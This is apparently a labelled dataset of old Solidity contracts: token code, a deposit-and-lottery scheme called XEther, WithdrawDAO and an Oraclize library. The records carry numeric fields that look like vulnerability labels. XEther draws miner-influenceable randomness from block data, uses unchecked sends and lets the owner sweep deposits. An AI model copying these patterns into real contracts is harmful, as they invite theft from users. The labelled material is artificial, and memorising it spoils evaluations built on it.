allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier validTransfer()
{
require(msg.sender == sale || transfersAllowed);
_;
}
}
contract HumanStandardToken is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
address _sale)
public
{
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
sale = _sale;
transfersAllowed = false;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function reversePurchase(address _tokenHolder)
public
onlySale
{
require(!transfersAllowed);
uint value = balances[_tokenHolder];
balances[_tokenHolder] = SafeMath.sub(balances[_tokenHolder], value);
balances[sale] = SafeMath.add(balances[sale], value);
Transfer(_tokenHolder, sale, value);
}
function removeTransferLock()
public
onlySale
{
transfersAllowed = true;
}
modifier onlySale()
{
require(msg.sender == sale);
_;
}
}
contract Disbursement {
address public owner;
address public receiver;
uint public disbursementPeriod;
uint public startDate;
uint public withdrawnTokens;
Token public token;
modifier isOwner() {
if (msg.sender != owner)
revert();
_;
}
modifier isReceiver() {
if (msg.sender != receiver)
revert();
_;
}
modifier isSetUp() {
if (address(token) == 0)
revert();
_;
}
function Disbursement(address _receiver, uint _disbursementPeriod, uint _startDate)
public
{
if (_receiver == 0 || _disbursementPeriod == 0)
revert();
owner = msg.sender;
receiver = _receiver;
disbursementPeriod = _disbursementPeriod;
startDate = _startDate;
if (startDate == 0)
startDate = now;
}
function setup(Token _token)
public
isOwner
{
if (address(token) != 0 || address(_token) == 0)
revert();
token = _token;
}
function withdraw(address _to, uint256 _value)
public
isReceiver
isSetUp
{
uint maxTokens = calcMaxWithdraw();
if (_value > maxTokens)
revert();
withdrawnTokens = SafeMath.add(withdrawnTokens, _value);
token.transfer(_to, _value);
}
function calcMaxWithdraw()
public
constant
returns (uint)
{
uint maxTokens = SafeMath.mul(SafeMath.add(token.balanceOf(this), withdrawnTokens), SafeMath.sub(now,startDate)) / disbursementPeriod;
if (withdrawnTokens >= maxTokens || startDate > now)
return 0;
if (SafeMath.sub(maxTokens, withdrawnTokens) > token.totalSupply())
return token.totalSupply();
return SafeMath.sub(maxTokens, withdrawnTokens);
}
}
| 1 | 3,972 |
pragma solidity ^0.4.24;
contract Owned {
address public aOwner;
address public coOwner1;
address public coOwner2;
constructor() public {
aOwner = msg.sender;
coOwner1 = msg.sender;
coOwner2 = msg.sender;
}
modifier onlyOwner {
require(msg.sender == aOwner || msg.sender == coOwner1 || msg.sender == coOwner2);
_;
}
function setCoOwner1(address _coOwner) public onlyOwner {
coOwner1 = _coOwner;
}
function setCoOwner2(address _coOwner) public onlyOwner {
coOwner2 = _coOwner;
}
}
contract XEther is Owned {
uint256 public totalInvestmentAmount = 0;
uint256 public ownerFeePercent = 50;
uint256 public investorsFeePercent = 130;
uint256 public curIteration = 1;
uint256 public depositsCount = 0;
uint256 public investorsCount = 1;
uint256 public bankAmount = 0;
uint256 public feeAmount = 0;
uint256 public toGwei = 1000000000;
uint256 public minDepositAmount = 20000000;
uint256 public minLotteryAmount = 100000000;
uint256 public minInvestmentAmount = 5 ether;
bool public isWipeAllowed = true;
uint256 public investorsCountLimit = 7;
uint256 public lastTransaction = now;
uint256 private stageStartTime = now;
uint private currentStage = 1;
uint private stageTime = 86400;
uint private stageMin = 0;
uint private stageMax = 72;
uint256 public jackpotBalance = 0;
uint256 public jackpotPercent = 20;
uint256 _seed;
mapping(uint256 => address) public depContractidToAddress;
mapping(uint256 => uint256) public depContractidToAmount;
mapping(uint256 => bool) public depContractidToLottery;
mapping(uint256 => address) public investorsAddress;
mapping(uint256 => uint256) public investorsInvested;
mapping(uint256 => uint256) public investorsComissionPercent;
mapping(uint256 => uint256) public investorsEarned;
event EvDebug (
uint amount
);
event EvNewDeposit (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address sender,
uint256 amount,
uint256 multiplier,
uint256 time
);
event EvNewInvestment (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address sender,
uint256 amount,
uint256[] investorsFee
);
event EvInvestorsComission (
uint256 iteration,
uint256[] investorsComission
);
event EvUpdateBankAmount (
uint256 iteration,
uint256 deposited,
uint256 balance
);
event EvDepositPayout (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address receiver,
uint256 amount,
uint256 fee,
uint256 jackpotBalance
);
event EvNewIteration (
uint256 iteration
);
event EvBankBecomeEmpty (
uint256 iteration,
uint256 index,
address receiver,
uint256 payoutAmount,
uint256 bankAmount
);
event EvInvestorPayout (
uint256 iteration,
uint256 bankAmount,
uint256 index,
uint256 amount,
bool status
);
event EvInvestorsPayout (
uint256 iteration,
uint256 bankAmount,
uint256[] payouts,
bool[] statuses
);
event EvStageChanged (
uint256 iteration,
uint timeDiff,
uint stage
);
event EvLotteryWin (
uint256 iteration,
uint256 contractId,
address winer,
uint256 amount
);
event EvConfimAddress (
address sender,
bytes16 code
);
event EvLotteryNumbers (
uint256 iteration,
uint256 index,
uint256[] lotteryNumbers
);
event EvUpdateJackpot (
uint256 iteration,
uint256 amount,
uint256 balance
);
constructor() public {
investorsAddress[0] = aOwner;
investorsInvested[0] = 0;
investorsComissionPercent[0] = 0;
investorsEarned[0] = 0;
}
function() public payable {
require(msg.value > 0 && msg.sender != address(0));
uint256 amount = msg.value / toGwei;
if (amount >= minDepositAmount) {
lastTransaction = block.timestamp;
newDeposit(msg.sender, amount);
}
else {
bankAmount += amount;
}
}
function newIteration() public onlyOwner {
require(isWipeAllowed);
payoutInvestors();
investorsInvested[0] = 0;
investorsCount = 1;
totalInvestmentAmount = 0;
bankAmount = 0;
feeAmount = 0;
depositsCount = 0;
currentStage = 1;
stageStartTime = now;
stageMin = 0;
stageMax = 72;
curIteration += 1;
emit EvNewIteration(curIteration);
uint256 realBalance = address(this).balance - (jackpotBalance * toGwei);
if (realBalance > 0) {
aOwner.transfer(realBalance);
}
}
function updateBankAmount() public onlyOwner payable {
require(msg.value > 0 && msg.sender != address(0));
uint256 amount = msg.value / toGwei;
isWipeAllowed = false;
bankAmount += amount;
totalInvestmentAmount += amount;
emit EvUpdateBankAmount(curIteration, amount, bankAmount);
recalcInvestorsFee(msg.sender, amount);
}
function newInvestment() public payable {
require(msg.value >= minInvestmentAmount && msg.sender != address(0));
address sender = msg.sender;
uint256 investmentAmount = msg.value / toGwei;
addInvestment(sender, investmentAmount);
}
function depositPayout(uint depositIndex, uint pAmount) public onlyOwner returns(bool) {
require(depositIndex < depositsCount && depositIndex >= 0 && depContractidToAmount[depositIndex] > 0);
require(pAmount <= 5);
uint256 payoutAmount = depContractidToAmount[depositIndex];
payoutAmount += (payoutAmount * pAmount) / 100;
if (payoutAmount > bankAmount) {
isWipeAllowed = true;
emit EvBankBecomeEmpty(curIteration, depositIndex, depContractidToAddress[depositIndex], payoutAmount, bankAmount);
return false;
}
uint256 ownerComission = (payoutAmount * ownerFeePercent) / 1000;
investorsEarned[0] += ownerComission;
uint256 addToJackpot = (payoutAmount * jackpotPercent) / 1000;
jackpotBalance += addToJackpot;
uint256 investorsComission = (payoutAmount * investorsFeePercent) / 1000;
uint256 payoutComission = ownerComission + addToJackpot + investorsComission;
uint256 paymentAmount = payoutAmount - payoutComission;
bankAmount -= payoutAmount;
feeAmount += ownerComission + investorsComission;
emit EvDepositPayout(curIteration, bankAmount, depositIndex, depContractidToAddress[depositIndex], paymentAmount, payoutComission, jackpotBalance);
updateInvestorsComission(investorsComission);
depContractidToAmount[depositIndex] = 0;
paymentAmount *= toGwei;
depContractidToAddress[depositIndex].transfer(paymentAmount);
if (depContractidToLottery[depositIndex]) {
lottery(depContractidToAddress[depositIndex], depositIndex);
}
return true;
}
function payoutInvestors() public {
uint256 paymentAmount = 0;
bool isSuccess = false;
uint256[] memory payouts = new uint256[](investorsCount);
bool[] memory statuses = new bool[](investorsCount);
uint256 mFeeAmount = feeAmount;
uint256 iteration = curIteration;
for (uint256 i = 0; i < investorsCount; i++) {
uint256 iEarned = investorsEarned[i];
if (iEarned == 0) {
continue;
}
paymentAmount = iEarned * toGwei;
mFeeAmount -= iEarned;
investorsEarned[i] = 0;
isSuccess = investorsAddress[i].send(paymentAmount);
payouts[i] = iEarned;
statuses[i] = isSuccess;
}
emit EvInvestorsPayout(iteration, bankAmount, payouts, statuses);
feeAmount = mFeeAmount;
}
function payoutInvestor(uint256 investorId) public {
require (investorId < investorsCount && investorsEarned[investorId] > 0);
uint256 paymentAmount = investorsEarned[investorId] * toGwei;
feeAmount -= investorsEarned[investorId];
investorsEarned[investorId] = 0;
bool isSuccess = investorsAddress[investorId].send(paymentAmount);
emit EvInvestorPayout(curIteration, bankAmount, investorId, paymentAmount, isSuccess);
}
function confirmAddress(bytes16 code) public {
emit EvConfimAddress(msg.sender, code);
}
function depositInfo(uint256 contractId) view public returns(address _address, uint256 _amount, bool _participateInLottery) {
return (depContractidToAddress[contractId], depContractidToAmount[contractId] * toGwei, depContractidToLottery[contractId]);
}
function investorInfo(uint256 contractId) view public returns(
address _address, uint256 _invested, uint256 _comissionPercent, uint256 earned
)
{
return (investorsAddress[contractId], investorsInvested[contractId] * toGwei,
investorsComissionPercent[contractId], investorsEarned[contractId] * toGwei);
}
function showBankAmount() view public returns(uint256 _bankAmount) {
return bankAmount * toGwei;
}
function showInvestorsComission() view public returns(uint256 _investorsComission) {
return feeAmount * toGwei;
}
function showJackpotBalance() view public returns(uint256 _jackpotBalance) {
return jackpotBalance * toGwei;
}
function showStats() view public returns(
uint256 _ownerFeePercent, uint256 _investorsFeePercent, uint256 _jackpotPercent,
uint256 _minDepositAmount, uint256 _minLotteryAmount,uint256 _minInvestmentAmount,
string info
)
{
return (ownerFeePercent, investorsFeePercent, jackpotPercent,
minDepositAmount * toGwei, minLotteryAmount * toGwei, minInvestmentAmount,
'To get real percentages divide them to 10');
}
function updateJackpotBalance() public onlyOwner payable {
require(msg.value > 0 && msg.sender != address(0));
jackpotBalance += msg.value / toGwei;
emit EvUpdateJackpot(curIteration, msg.value, jackpotBalance);
}
function withdrawJackpotBalance(uint amount) public onlyOwner {
require(jackpotBalance >= amount / toGwei && msg.sender != address(0));
require(now - lastTransaction > 4 weeks);
uint256 tmpJP = amount / toGwei;
jackpotBalance -= tmpJP;
aOwner.transfer(amount);
emit EvUpdateJackpot(curIteration, amount, jackpotBalance);
}
function newDeposit(address _address, uint depositAmount) private {
uint256 randMulti = random(100) + 200;
uint256 rndX = random(1480);
uint256 _time = getRandomTime(rndX);
randMulti = checkForBonuses(rndX, randMulti);
uint256 contractid = depositsCount;
depContractidToAddress[contractid] = _address;
depContractidToAmount[contractid] = (depositAmount * randMulti) / 100;
depContractidToLottery[contractid] = depositAmount >= minLotteryAmount;
depositsCount++;
bankAmount += depositAmount;
emit EvNewDeposit(curIteration, bankAmount, contractid, _address, depositAmount, randMulti, _time);
}
function addInvestment(address sender, uint256 investmentAmount) private {
require( (totalInvestmentAmount < totalInvestmentAmount + investmentAmount) && (bankAmount < bankAmount + investmentAmount) );
totalInvestmentAmount += investmentAmount;
bankAmount += investmentAmount;
recalcInvestorsFee(sender, investmentAmount);
}
function recalcInvestorsFee(address sender, uint256 investmentAmount) private {
uint256 investorIndex = 0;
bool isNewInvestor = true;
uint256 investorFeePercent = 0;
uint256[] memory investorsFee = new uint256[](investorsCount+1);
for (uint256 i = 0; i < investorsCount; i++) {
if (investorsAddress[i] == sender) {
investorIndex = i;
isNewInvestor = false;
investorsInvested[i] += investmentAmount;
}
investorFeePercent = percent(investorsInvested[i], totalInvestmentAmount, 3);
investorsComissionPercent[i] = investorFeePercent;
investorsFee[i] = investorFeePercent;
}
if (isNewInvestor) {
if (investorsCount > investorsCountLimit) revert();
investorFeePercent = percent(investmentAmount, totalInvestmentAmount, 3);
investorIndex = investorsCount;
investorsAddress[investorIndex] = sender;
investorsInvested[investorIndex] = investmentAmount;
investorsComissionPercent[investorIndex] = investorFeePercent;
investorsEarned[investorIndex] = 0;
investorsFee[investorIndex] = investorFeePercent;
investorsCount++;
}
emit EvNewInvestment(curIteration, bankAmount, investorIndex, sender, investmentAmount, investorsFee);
}
function updateInvestorsComission(uint256 amount) private {
uint256 investorsTotalIncome = 0;
uint256[] memory investorsComission = new uint256[](investorsCount);
for (uint256 i = 1; i < investorsCount; i++) {
uint256 investorIncome = (amount * investorsComissionPercent[i]) / 1000;
investorsEarned[i] += investorIncome;
investorsComission[i] = investorsEarned[i];
investorsTotalIncome += investorIncome;
}
investorsEarned[0] += amount - investorsTotalIncome;
emit EvInvestorsComission(curIteration, investorsComission);
}
function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision+1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
function random(uint numMax) private returns (uint256 result) {
_seed = uint256(keccak256(abi.encodePacked(
_seed,
blockhash(block.number - 1),
block.coinbase,
block.difficulty
)));
return _seed % numMax;
}
function getRandomTime(uint num) private returns (uint256 result) {
uint rndHours = random(68) + 4;
result = 72 - (2 ** ((num + 240) / 60) + 240) % rndHours;
checkStageCondition();
result = numStageRecalc(result);
return (result < 4) ? 4 : result;
}
function checkForBonuses(uint256 number, uint256 multiplier) private pure returns (uint256 newMultiplier) {
if (number == 8) return 1000;
if (number == 12) return 900;
if (number == 25) return 800;
if (number == 37) return 700;
if (number == 42) return 600;
if (number == 51) return 500;
if (number == 63 || number == 65 || number == 67) {
return 400;
}
return multiplier;
}
function checkStageCondition() private {
uint timeDiff = now - stageStartTime;
if (timeDiff > stageTime && currentStage < 3) {
currentStage++;
stageMin += 10;
stageMax -= 10;
stageStartTime = now;
emit EvStageChanged(curIteration, timeDiff, currentStage);
}
}
function numStageRecalc(uint256 curHours) private returns (uint256 result) {
uint chance = random(110) + 1;
if (currentStage > 1 && chance % 9 != 0) {
if (curHours > stageMax) return stageMax;
if (curHours < stageMin) return stageMin;
}
return curHours;
}
function lottery(address sender, uint256 index) private {
bool lotteryWin = false;
uint256[] memory lotteryNumbers = new uint256[](7);
(lotteryWin, lotteryNumbers) = randomizerLottery(blockhash(block.number - 1), sender);
emit EvLotteryNumbers(curIteration, index, lotteryNumbers);
if (lotteryWin) {
emit EvLotteryWin(curIteration, index, sender, jackpotBalance);
uint256 tmpJP = jackpotBalance * toGwei;
jackpotBalance = 0;
sender.transfer(tmpJP);
}
}
function randomizerLottery(bytes32 hash, address sender) private returns(bool, uint256[] memory) {
uint256[] memory lotteryNumbers = new uint256[](7);
bytes32 userHash = keccak256(abi.encodePacked(
hash,
sender,
random(999)
));
bool win = true;
for (uint i = 0; i < 7; i++) {
uint position = i + random(1);
bytes1 charAtPos = charAt(userHash, position);
uint8 firstNums = getLastN(charAtPos, 4);
uint firstNumInt = uint(firstNums);
if (firstNumInt > 9) {
firstNumInt = 16 - firstNumInt;
}
lotteryNumbers[i] = firstNumInt;
if (firstNums != 7) {
win = false;
}
}
return (win, lotteryNumbers);
}
function charAt(bytes32 b, uint char) private pure returns (bytes1) {
return bytes1(uint8(uint(b) / (2**((31 - char) * 8))));
}
function getLastN(bytes1 a, uint8 n) private pure returns (uint8) {
uint8 lastN = uint8(a) % uint8(2) ** n;
return lastN;
}
}
| 0 | 652 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 2;
uint8 constant TOKEN_DECIMALS_UINT8 = 2;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Chubex";
string constant TOKEN_SYMBOL = "CBX";
bool constant PAUSED = false;
address constant TARGET_USER = 0x7A47F49Ca7863D2DC6Df4a34642C13e61062Cd34;
uint constant START_TIME = 1525147200;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 0 | 172 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413);
address public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
}
| 1 | 3,522 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
